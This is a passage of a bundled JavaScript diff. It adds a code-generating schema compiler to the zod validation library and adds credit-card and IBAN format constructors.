doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNullCheck(doc, accessor) { + doc.write(`if (${accessor} !== null) return INVALID;`); + return accessor; +} +function generateVoidCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNaNCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isNaN(${accessor})) return INVALID;`); + return accessor; +} +function generateDateCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof Date) || Number.isNaN(${accessor}.getTime())) return INVALID;`); + return accessor; +} +function generateObjectCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (typeof ${accessor} !== "object" || ${accessor} === null || Array.isArray(${accessor})) return INVALID;`); + const shape = def.shape; + const keys = Object.keys(shape); + const symbolKeys = Object.getOwnPropertySymbols(shape); + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + const keyExpr = (k) => typeof k === "symbol" ? addConstant(ctx, k) : esc(k); + const propKey = (k) => typeof k === "symbol" ? `[${keyExpr(k)}]` : esc(k); + const propShape = shape; + if (keys.includes("__proto__")) { + throw new ZodCompileUnsupportedError('object shape key "__proto__"'); + } + const propOutputs = /* @__PURE__ */ new Map(); + for (const key of allKeys) { + const propSchema = propShape[key]; + const kx = keyExpr(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${kx}];`); + if (propSchema._zod.optin !== void 0) { + const outputVar2 = newVar(ctx); + doc.write(`let ${outputVar2} = (() => {`); + doc.indented((d) => { + const outputAccessor = compileChild(d, ctx, propSchema, inputVar); + d.write(`return ${outputAccessor};`); + }); + doc.write(`})();`); + if (propSchema._zod.optout === "optional") { + doc.write(`if (${outputVar2} === INVALID) {`); + doc.indented((d) => { + d.write(`if (${kx} in ${accessor}) return INVALID;`); + d.write(`${outputVar2} = undefined;`); + }); + doc.write(`}`); + } else { + doc.write(`if (${outputVar2} === INVALID) return INVALID;`); + } + propOutputs.set(key, outputVar2); + } else { + if (requiresPresenceCheck(propSchema)) { + doc.write(`if (!(${kx} in ${accessor})) return INVALID;`); + } + const outputAccessor = compileChild(doc, ctx, propSchema, inputVar, buildsValue); + if (outputAccessor !== null) + propOutputs.set(key, outputAccessor); + } + } + const catchall = def.catchall; + let unknownKeysMode = "none"; + if (catchall) { + const catchallType = catchall._zod.def.type; + if (catchallType === "never") { + const condition = keys.map((k) => `k !== ${esc(k)}`).join(" && ") || "true"; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${condition}) return INVALID;`); + }); + doc.write(`}`); + } else if ((catchallType === "unknown" || catchallType === "any") && !catchall._zod.def.checks?.length) { + unknownKeysMode = "passthrough"; + } else { + unknownKeysMode = "schema"; + } + } + const outputVar = newVar(ctx); + const hasConditionalKeys = allKeys.some((k) => mayOmitUndefined(propShape[k]) || dropsWhenAbsent(propShape[k])); + if (!buildsValue) { + if (unknownKeysMode === "schema") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + compileChild(d, ctx, catchall, valVar, false); + }); + doc.write(`}`); + } + return null; + } + if (!hasConditionalKeys) { + const propLiterals = allKeys.map((k) => `${propKey(k)}: ${propOutputs.get(k)}`).join(", "); + doc.write(`const ${outputVar} = { ${propLiterals} };`); + } else { + doc.write(`const ${outputVar} = {};`); + for (const k of allKeys) { + const kx = keyExpr(k); + const out = propOutputs.get(k); + if (dropsWhenAbsent(propShape[k])) { + doc.write(`if (${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else if (mayOmitUndefined(propShape[k])) { + doc.write(`if (${out} !== undefined || ${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else { + doc.write(`${outputVar}[${kx}] = ${out};`); + } + } + } + if (unknownKeysMode !== "none") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + if (unknownKeysMode === "passthrough") { + d.write(`${outputVar}[k] = ${accessor}[k];`); + } else { + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + const catchallOut = compileChild(d, ctx, catchall, valVar); + d.write(`${outputVar}[k] = ${catchallOut};`); + } + }); + doc.write(`}`); + } + return outputVar; +} +function generateOptionalCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + if (isExactOptional(schema)) { + return generateCheck(doc, ctx, def.innerType, accessor, buildsValue); + } + if (def.innerType._zod.optin === "defaulted") { + const outputVar2 = newVar(ctx); + const branchVar = newVar(ctx); + doc.write(`let ${outputVar2};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`const ${branchVar} = (() => {`); + d.indented((d2) => { + const innerOutput = generateCheck(d2, ctx, def.innerType, accessor); + d2.write(`return ${innerOutput};`); + }); + d.write(`})();`); + d.write(`if (${branchVar} !== INVALID) ${outputVar2} = ${branchVar};`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar2} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar2; + } + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function isExactOptional(schema) { + return schema._zod.traits?.has("$ZodExactOptional") === true; +} +function requiresPresenceCheck(schema) { + return schema._zod.optin === void 0 && fastPathAcceptsAbsence(schema); +} +function fastPathAcceptsAbsence(schema) { + if (schema._zod.def.coerce) + return true; + const def = schema._zod.def; + switch (def.type) { + case "any": + case "unknown": + case "undefined": + case "void": + case "default": + case "prefault": + case "transform": + case "custom": + case "lazy": + return true; + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "never": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + return false; + case "nonoptional": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + case "nullable": + case "readonly": + case "success": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : true; + case "catch": + return true; + case "union": + return def.options ? def.options.some(fastPathAcceptsAbsence) : true; + case "intersection": + if (!def.left || !def.right) + return true; + return fastPathAcceptsAbsence(def.left) && fastPathAcceptsAbsence(def.right); + case "pipe": + return def.in ? fastPathAcceptsAbsence(def.in) : true; + default: + return true; + } +} +function dropsWhenAbsent(schema) { + return schema._zod.optin === "optional" && schema._zod.optout === "optional"; +} +function mayOmitUndefined(schema) { + return (schema._zod.optin !== "defaulted" || schema._zod.optout === "optional") && mayOutputUndefined(schema); +} +function mayOutputUndefined(schema) { + const def = schema._zod.def; + switch (def.type) { + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + case "never": + case "success": + return false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + return true; + case "nullable": + case "readonly": + case "nonoptional": + return def.innerType ? mayOutputUndefined(def.innerType) : true; + case "union": + return def.options ? def.options.some(mayOutputUndefined) : true; + case "intersection": + return !def.left || !def.right || mayOutputUndefined(def.left) || mayOutputUndefined(def.right); + case "pipe": + return def.out ? mayOutputUndefined(def.out) : true; + default: + return true; + } +} +function generateNullableCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar} = null;`); + doc.write(`if (${accessor} !== null) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateSizeGate(doc, schema, size2) { + for (const [max, check3] of sizeCaps(schema._zod.def.checks)) { + doc.write(`if (${size2} > ${numericOperand(max, check3._zod.def.check)}) return INVALID;`); + } +} +function generateArrayCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.length`); + const outputVar = buildsValue ? newVar(ctx) : null; + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + if (outputVar) + doc.write(`const ${outputVar} = new Array(${accessor}.length);`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, def.element, elemVar, buildsValue); + if (outputVar && elemOutput !== null) + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateLiteralCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const values2 = def.values; + if (values2.length !== 1) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + const value = values2[0]; + if (typeof value === "number" && Number.isNaN(value)) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + if (typeof value === "string") { + doc.write(`if (${accessor} !== ${esc(value)}) return INVALID;`); + } else if (typeof value === "number" || typeof value === "boolean") { + doc.write(`if (${accessor} !== ${value}) return INVALID;`); + } else if (value === null) { + doc.write(`if (${accessor} !== null) return INVALID;`); + } else if (value === void 0) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + } else if (typeof value === "bigint") { + doc.write(`if (${accessor} !== ${value}n) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError(`literal type ${typeof value}`); + } + return accessor; +} +function generateEnumCheck(doc, ctx, schema, accessor) { + const values2 = schema._zod.values; + if (!values2) { + throw new ZodCompileUnsupportedError("enum schema without enumerated values"); + } + const enumSet = addConstant(ctx, values2); + doc.write(`if (!${enumSet}.has(${accessor})) return INVALID;`); + return accessor; +} +function generateWrapperCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + return generateCheck(doc, ctx, def.innerType, accessor); +} +function generateDefaultCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const descriptor = Object.getOwnPropertyDescriptor(schema._zod.def, "defaultValue"); + const defaultGetter = descriptor ? () => schema._zod.def.defaultValue : void 0; + if (schema._zod.def.type === "prefault") { + if (!defaultGetter) { + return generateCheck(doc, ctx, def.innerType, accessor); + } + const defaultFn = addConstant(ctx, defaultGetter); + const inputVar = newVar(ctx); + doc.write(`let ${inputVar} = ${accessor};`); + doc.write(`if (${accessor} === undefined) ${inputVar} = ${defaultFn}();`); + return generateCheck(doc, ctx, def.innerType, inputVar); + } + const outputVar = newVar(ctx); + if (defaultGetter) { + const defaultFn = addConstant(ctx, defaultGetter); + const cloneFn = addConstant(ctx, shallowClone); + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${cloneFn}(${defaultFn}());`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput} === undefined ? ${cloneFn}(${defaultFn}()) : ${innerOutput};`); + }); + doc.write(`}`); + } else { + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function generateNonOptionalCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const innerOutput = generateCheck(doc, ctx, def.innerType, accessor); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${innerOutput};`); + doc.write(`if (${outputVar} === undefined) return INVALID;`); + return outputVar; +} +function generateTupleCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const items = def.items; + const rest = def.rest; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + const optinStart = getTupleOptStart2(items, "optin"); + const optoutStart = getTupleOptStart2(items, "optout"); + if (rest) { + doc.write(`if (${accessor}.length < ${optinStart}) return INVALID;`); + } else { + doc.write(`if (${accessor}.length < ${optinStart} || ${accessor}.length > ${items.length}) return INVALID;`); + } + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = [];`); + for (let i = 0; i < items.length; i++) { + const itemSchema = items[i]; + if (i >= optoutStart) { + doc.write(`if (${outputVar}.length === ${i}) {`); + doc.indented((d) => { + d.write(`if (${i} < ${accessor}.length) {`); + d.indented((d2) => { + const elemVar = newVar(ctx); + d2.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(d2, ctx, itemSchema, elemVar); + d2.write(`${outputVar}[${i}] = ${elemOutput};`); + }); + d.write(`} else {`); + d.indented((d2) => { + if (dropsWhenAbsent(itemSchema)) { + d2.write(`${outputVar}.length = ${i};`); + return; + } + const elemVar = newVar(ctx); + const branchVar = newVar(ctx); + d2.write(`const ${elemVar} = undefined;`); + d2.write(`const ${branchVar} = (() => {`); + d2.indented((d3) => { + const elemOutput = compileChild(d3, ctx, itemSchema, elemVar); + d3.write(`return ${elemOutput};`); + }); + d2.write(`})();`); + d2.write(`if (${branchVar} === INVALID || ${branchVar} === undefined) ${outputVar}.length = ${i};`); + d2.write(`else ${outputVar}[${i}] = ${branchVar};`); + }); + d.write(`}`); + }); + doc.write(`}`); + } else { + const elemVar = newVar(ctx); + doc.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(doc, ctx, itemSchema, elemVar); + doc.write(`${outputVar}[${i}] = ${elemOutput};`); + } + } + if (rest) { + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + doc.write(`for (let ${iVar} = ${items.length}; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, rest, elemVar); + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function getTupleOptStart2(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) + return i + 1; + } + return 0; +} +function generateUnionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const options = def.options; + if (def.discriminator) { + return generateDiscriminatedUnionCheck(doc, ctx, def, accessor); + } + if (def.inclusive === false) { + throw new ZodCompileUnsupportedError("exclusive unions (z.xor)"); + } + if (options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + if (options.length === 1) { + return generateCheck(doc, ctx, options[0], accessor); + } + const allLiterals = options.every((opt) => opt._zod.def.type === "literal" && !opt._zod.def.checks?.length); + if (allLiterals) { + const values2 = new Set(options.flatMap((opt) => opt._zod.def.values)); + const valuesConst = addConstant(ctx, values2); + doc.write(`if (!${valuesConst}.has(${accessor})) return INVALID;`); + return accessor; + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar};`); + for (let i = 0; i < options.length; i++) { + const opt = options[i]; + if (i === 0) { + doc.write(`${outputVar} = (() => {`); + } else { + doc.write(`if (${outputVar} === INVALID) ${outputVar} = (() => {`); + } + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, opt, accessor); + d.write(`return ${branchOutput};`); + }); + doc.write(`})();`); + } + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generateDiscriminatedUnionCheck(doc, ctx, def, accessor) { + if (def.unionFallback) { + throw new ZodCompileUnsupportedError("discriminated union with unionFallback"); + } + if (def.options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + const discVar = newVar(ctx); + const outputVar = newVar(ctx); + doc.write(`const ${discVar} = ${accessor}?.[${esc(def.discriminator)}];`); + doc.write(`let ${outputVar};`); + let firstBranch = true; + const claimed = /* @__PURE__ */ new Set(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) { + throw new ZodCompileUnsupportedError("discriminated union option without static discriminator values"); + } + for (const value of values2) { + if (claimed.has(value)) { + throw new ZodCompileUnsupportedError(`duplicate discriminator value ${String(value)}`); + } + claimed.add(value); + } + const conditions = Array.from(values2, (value) => literalEquality(ctx, discVar, value)); + const prefix = firstBranch ? "if" : "else if"; + doc.write(`${prefix} (${conditions.join(" || ")}) {`); + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, option, accessor); + d.write(`${outputVar} = ${branchOutput};`); + }); + doc.write(`}`); + firstBranch = false; + } + doc.write(`else { return INVALID; }`); + return outputVar; +} +function literalEquality(ctx, accessor, value) { + if (typeof value === "string") + return `${accessor} === ${esc(value)}`; + if (typeof value === "number") { + if (Number.isNaN(value)) + return `Number.isNaN(${accessor})`; + return `${accessor} === ${value}`; + } + if (typeof value === "boolean") + return `${accessor} === ${value}`; + if (value === null) + return `${accessor} === null`; + if (value === void 0) + return `${accessor} === undefined`; + if (typeof value === "bigint") + return `${accessor} === ${value}n`; + if (typeof value === "symbol") { + const symbolConst = addConstant(ctx, value); + return `${accessor} === ${symbolConst}`; + } + throw new ZodCompileUnsupportedError(`literal discriminator value ${String(value)}`); +} +function generateIntersectionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + ctx.definite = false; + const leftOutput = compileChild(doc, ctx, def.left, accessor); + const rightOutput = compileChild(doc, ctx, def.right, accessor); + const mergeConst = addConstant(ctx, mergeValues); + const mergedVar = newVar(ctx); + doc.write(`const ${mergedVar} = ${mergeConst}(${leftOutput}, ${rightOutput});`); + doc.write(`if (!${mergedVar}.valid) return INVALID;`); + return `${mergedVar}.data`; +} +function generateRecordCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const isPlainObjectConst = addConstant(ctx, isPlainObject); + doc.write(`if (!${isPlainObjectConst}(${accessor})) return INVALID;`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = {};`); + const recordDef = def; + const keyValues = recordDef.partial ? void 0 : def.keyType._zod.values; + if (keyValues) { + const inputKeys = []; + for (const key of keyValues) { + if (!(typeof key === "string" || typeof key === "number" || typeof key === "symbol")) { + throw new ZodCompileUnsupportedError(`record key value ${String(key)}`); + } + const inputKey = typeof key === "number" ? key.toString() : key; + if (inputKey === "__proto__") { + throw new ZodCompileUnsupportedError('record key "__proto__"'); + } + inputKeys.push(inputKey); + const keyConst = addConstant(ctx, key); + const outKey = generateCheck(doc, ctx, def.keyType, keyConst); + const valueVar = newVar(ctx); + doc.write(`const ${valueVar} = ${accessor}[${literalPropertyKey(ctx, inputKey)}];`); + const valOutput = compileChild(doc, ctx, def.valueType, valueVar); + doc.write(`${outputVar}[${outKey}] = ${valOutput};`); + } + const knownKeysConst = addConstant(ctx, new Set(inputKeys)); + doc.write(`for (const ${kVar} in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${knownKeysConst}.has(${kVar})) continue;`); + if (recordDef.mode === "loose") { + d.write(`if (${kVar} !== "__proto__") ${outputVar}[${kVar}] = ${accessor}[${kVar}];`); + } else { + d.write(`return INVALID;`); + } + }); + doc.write(`}`); + return outputVar; + } + const keyDef = def.keyType._zod.def; + const keyIsBareString = keyDef.type === "string" && keyDef.format === void 0 && !keyDef.coerce && (keyDef.checks?.length ?? 0) === 0; + if (!keyIsBareString) { + const isLoose = def.mode === "loose"; + const keyFn = compileFn(def.keyType); + if (keyFn.definite === false) + ctx.definite = false; + const keyFast = addConstant(ctx, keyFn); + const numericConst = addConstant(ctx, number); + const outKeyVar = newVar(ctx); + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`let ${outKeyVar} = ${keyFast}(${kVar});`); + d.write(`if (${outKeyVar} === INVALID && typeof ${kVar} === "string" && ${numericConst}.test(${kVar})) ${outKeyVar} = ${keyFast}(Number(${kVar}));`); + if (isLoose) { + d.write(`if (${outKeyVar} === INVALID) { ${outputVar}[${kVar}] = ${accessor}[${kVar}]; continue; }`); + } else { + d.write(`if (${outKeyVar} === INVALID) return INVALID;`); + } + d.write(`if (${outKeyVar} === "__proto__") continue;`); + const valueVar = newVar(ctx); + d.write(`const ${valueVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valueVar); + d.write(`${outputVar}[${outKeyVar}] = ${valOutput};`); + }); + return outputVar; + } + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`const ${valVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valVar); + d.write(`${outputVar}[${kVar}] = ${valOutput};`); + }, `return INVALID;`); + return outputVar; +} +function emitOwnKeys(doc, ctx, accessor, kVar, body, onSymbol) { + const propIsEnumerableConst = addConstant(ctx, Object.prototype.propertyIsEnumerable); + const symsVar = newVar(ctx); + const keysVar = newVar(ctx); + const iVar = newVar(ctx); + doc.write(`const ${symsVar} = Object.getOwnPropertySymbols(${accessor});`); + doc.write(`const ${keysVar} = Object.getOwnPropertyNames(${accessor});`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${keysVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${keysVar}[${iVar}];`); + d.write(`if (${kVar} === "__proto__" || !${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + body(d); + }); + doc.write(`}`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${symsVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${symsVar}[${iVar}];`); + d.write(`if (!${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + if (onSymbol) + d.write(onSymbol); + else + body(d); + }); + doc.write(`}`); +} +function literalPropertyKey(ctx, key) { + if (typeof key === "string") + return esc(key); + return addConstant(ctx, key); +} +function generateMapCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Map)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Map();`); + doc.write(`for (const [${kVar}, ${valVar}] of ${accessor}) {`); + doc.indented((d) => { + const keyOutput = generateCheck(d, ctx, def.keyType, kVar); + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.set(${keyOutput}, ${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateSetCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Set)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Set();`); + doc.write(`for (const ${valVar} of ${accessor}) {`); + doc.indented((d) => { + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.add(${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateFileCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof File)) return INVALID;`); + return accessor; +} +function generateTemplateLiteralCheck(doc, ctx, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const pattern = schema._zod.pattern; + if (pattern) { + const patternConst = addConstant(ctx, pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + } + return accessor; +} +function generateLazyCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const getterConst = addUserConstant(ctx, def.getter); + const cacheConst = addConstant(ctx, { parser: null }); + doc.write(`if (!${cacheConst}.parser) {`); + doc.indented((d) => { + d.write(`const inner = ${getterConst}();`); + d.write(`${cacheConst}.parser = function(input) {`); + d.indented((d2) => { + d2.write(`const result = inner._zod.run({ value: input, issues: [] }, {});`); + d2.write(`return result.issues.length === 0 ? result.value : INVALID;`); + }); + d.write(`};`); + }); + doc.write(`}`); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${cacheConst}.parser(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generatePipeCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const inputOutput = generateCheck(doc, ctx, def.in, accessor); + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms in pipes are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const transformedVar = newVar(ctx); + doc.write(`const ${transformedVar} = ${helperConst}(${inputOutput});`); + doc.write(`if (${transformedVar} === INVALID) return INVALID;`); + return generateCheck(doc, ctx, def.out, transformedVar); + } else { + return generateCheck(doc, ctx, def.out, inputOutput); + } +} +function isAsyncFunction(fn) { + return typeof fn === "function" && (fn.constructor.name === "AsyncFunction" || fn[Symbol.toStringTag] === "AsyncFunction"); +} +function generateCustomCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async custom predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError("custom schema without a predicate function"); + } + return accessor; +} +function runtimeCatch(innerSchema, catchValue, value) { + const result = innerSchema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + if (r.issues.length === 0) + return r.value; + return catchValue(); +} +function generateCatchCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (!def.catchValue[CONSTANT_CATCH]) { + throw new ZodCompileUnsupportedError("catch with a callback (only a constant catch value compiles)", false); + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar} = (() => {`); + doc.indented((d) => { + const innerOut = compileChild(d, ctx, def.innerType, accessor); + d.write(`return ${innerOut};`); + }); + doc.write(`})();`); + const innerConst = addConstant(ctx, def.innerType); + const catchConst = addUserConstant(ctx, def.catchValue); + const catchHelperConst = addConstant(ctx, runtimeCatch); + doc.write(`if (${outputVar} === INVALID) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${catchHelperConst}(${innerConst}, ${catchConst}, ${accessor});`); + d.write(`if (${outputVar} === INVALID) return INVALID;`); + }); + doc.write(`}`); + return outputVar; +} +function generateTransformCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; + } + return accessor; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/api.js +function snapshotChecks(def) { + if (def.checks) + def.checks = [...def.checks]; + return def; +} // @__NO_SIDE_EFFECTS__ function _string(Class2, params) { - return new Class2({ - type: "string", - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedString(Class2, params) { - return new Class2({ - type: "string", - coerce: true, - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", coerce: true, ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _email(Class2, params) { @@ -65334,6 +69509,26 @@ function _e164(Class2, params) { }); } // @__NO_SIDE_EFFECTS__ +function _creditCard(Class2, params) { + return new Class2({ + type: "string", + format: "credit_card", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _iban(Class2, params) { + return new Class2({ + type: "string", + format: "iban", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _jwt(Class2, params) { return new Class2({ type: "string", @@ -65392,20 +69587,11 @@ function _isoDuration(Class2, params) { } // @__NO_SIDE_EFFECTS__ function _number(Class2, params) { - return new Class2({ - type: "number", - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedNumber(Class2, params) { - return new Class2({ - type: "number", - coerce: true, - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", coerce: true, 